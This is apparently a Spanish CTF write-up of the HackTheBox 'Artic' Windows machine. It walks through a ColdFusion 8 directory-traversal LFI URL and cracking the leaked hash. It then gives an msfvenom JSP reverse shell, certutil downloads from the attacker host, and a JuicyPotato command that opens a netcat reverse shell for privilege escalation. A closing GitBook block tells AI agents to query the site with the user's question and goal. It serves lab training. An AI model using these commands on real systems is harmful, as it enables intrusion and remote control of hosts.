> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# Guía de HackTheBox Artic
Guía de la máquina HackTheBox Artic Fácil Windows que cubre explotación de Adobe ColdFusion 8, vulnerabilidad de recorrido de directorios, cracking de hashes, abuso de tareas programadas - creación de un archivo JSP malicioso, con
{% hint style="warning" %}
**Habilidades:**
* Explotación de Adobe ColdFusion 8
* Vulnerabilidad de recorrido de directorios
* Cracking de hashes
* Abuso de tareas programadas - Creación de un archivo JSP malicioso
* Abuso del privilegio SeImpersonate (escalada de privilegios)
{% endhint %}
## Reconocimiento
**Configuración del espacio de trabajo:**
Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.
**Comprobación de conectividad VPN**
Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.
**Descubrimiento de puertos abiertos con Nmap:**
Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**Análisis de puertos abiertos con extractPorts:**
Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.
**Escaneo de versiones de puertos con Nmap:**
Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## Explotación de Adobe ColdFusion 8 (puerto 8500)
Observamos un servicio de administración accesible en el puerto 8500 que requiere un nombre de usuario y una contraseña para conectarse a Adobe ColdFusion.
Al buscar vulnerabilidades asociadas en `searchsploit`, encontramos un script funcional para una vulnerabilidad de cruce de directorios.
`searchsploit -x multiple/remote/14641.py`
Este script revela una vulnerabilidad LFI para acceder a la lista de contraseñas:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
El archivo contiene el siguiente valor para la contraseña:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Descifrando la contraseña
{% embed url="" %}
Usando CrackStation, desciframos este hash, y la contraseña es `happyday`. Ahora podemos conectarnos con éxito.
### Creación de una tarea programada maliciosa
En la sección de tareas programadas, crearemos una nueva tarea para guardar un archivo malicioso en el `C:/ColdFusion8/wwwroot/CFIDE` directorio, al que tenemos permisos de lectura/escritura.
**Creación del archivo JSP:** Como el servidor puede interpretar archivos JSP, generaremos una shell JSP con `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Agregar una nueva tarea:** Configuramos la tarea programada para ejecutar este archivo malicioso.
/*/* Servidor HTTP para transferir el archivo:/*/* Para transferir el archivo JSP, iniciamos un servidor HTTP en nuestra máquina:
```bash
python3 -m http.server 80
```
**Escucha y ejecución:** Escuchamos en el puerto 443 para recibir la shell inversa y luego ejecutamos la tarea programada en `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### Bandera user.txt :)
## Escalada de privilegios
### Abuso de SeImpersonatePrivilege:
Encontramos que el usuario tiene el `SeImpersonatePrivilege` privilegio, lo que lo hace vulnerable a ciertas técnicas de elevación de privilegios. El siguiente comando confirma la presencia de este privilegio:
```bash
whoami /priv
```
Para explotar esta vulnerabilidad, usaremos **JuicyPotato**, una herramienta muy conocida para abusar de este privilegio en el contexto de Windows.
**Descargar las herramientas necesarias**
{% embed url="" %}
{% embed url="" %}
**Iniciando un servidor HTTP** en nuestra máquina de ataque para servir archivos:
```bash
python3 -m http.server 8080
```
**Transferir archivos a la máquina objetivo** usando `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**Ejecución de JuicyPotato para la elevación de privilegios**
Ahora ejecutaremos JuicyPotato para obtener una sesión privilegiada. El siguiente comando inicia JuicyPotato, que ejecuta `cmd.exe` con privilegios elevados e inicia una conexión con nuestra máquina de ataque a través de Netcat:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**Acceso a sesión elevada**
Para interceptar la conexión, escuchamos en el puerto 1234:
```bash
rlwrap nc -nvlp 1234
```
### Flag root :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
